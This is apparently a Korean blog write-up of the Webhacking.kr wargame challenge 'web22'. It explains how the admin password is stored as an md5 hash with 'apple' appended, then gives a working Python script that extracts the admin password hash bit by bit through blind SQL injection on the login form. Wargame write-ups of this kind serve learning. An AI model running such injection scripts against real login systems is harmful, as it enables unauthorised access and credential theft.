Webhacking.kr - web22
web22
1
2
mission : login as admin
Column Name : id, pw
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
21번이랑 동일하게 풀 수 있음.
admin의 pw 길이는 32
결과는 pw : 6c9ca386a903921d7fa230ffa0ffc153
근데 아니라고 함 -> db에는 해쉬값으로 바꿔서 넣어진 듯함.
따라서 해쉬값으로 알아내야 함.
우선 아이디가 다르고 비밀번호를 동일하게 해서 해쉬화 과정에서 salt 같은 것이 있는지 확인
1. id : asdf, pw : 1 -> f234f990c39cb3a3b50c9ddc374422d2
2. id : qwer, pw : 1 -> f234f990c39cb3a3b50c9ddc374422d2
같으므로 어떤 해쉬로 암호화하는지 찾아야 함.
저 값을 검색해보니 1apple을 md5해쉬화하면 저 값이 나옴.
pw=2일 때 해쉬값도 확인해보니 2apple일 때 저 값이 나옴.
따라서 {pw}apple을 md5해쉬화 한 것. 따라서 admin pw md5 hash 값을 decode 하면
wowapple이므로 admin pw는 wow임.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
url='https://webhacking.kr/challenge/bonus-2/index.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}
bit_len=''
bit_val=''
pw=''
for i in range(1,33) :
payload={'uuid':"' or id='admin' and if(length(bin(ascii(substr(pw,"+str(i)+",1))))=7,1,0)#", 'pw':'1'}
res=requests.post(url, headers=headers, cookies=cookies, data=payload)
if 'Wrong password!' in res.text :
bit_len=7
else :
bit_len=6
for j in range(1,bit_len+1):
payload={'uuid':"' or id='admin' and if(substr(bin(ascii(substr(pw,"+str(i)+",1))),"+str(j)+",1)=0,1,0)#", 'pw':'1'}
res=requests.post(url, headers=headers, cookies=cookies, data=payload)
if 'Wrong password!' in res.text :
bit_val+='0'
else :
bit_val+='1'
pw+=chr(int(bit_val,2))
bit_val=''
print('pw :',pw)
This post is licensed under CC BY 4.0 by the author.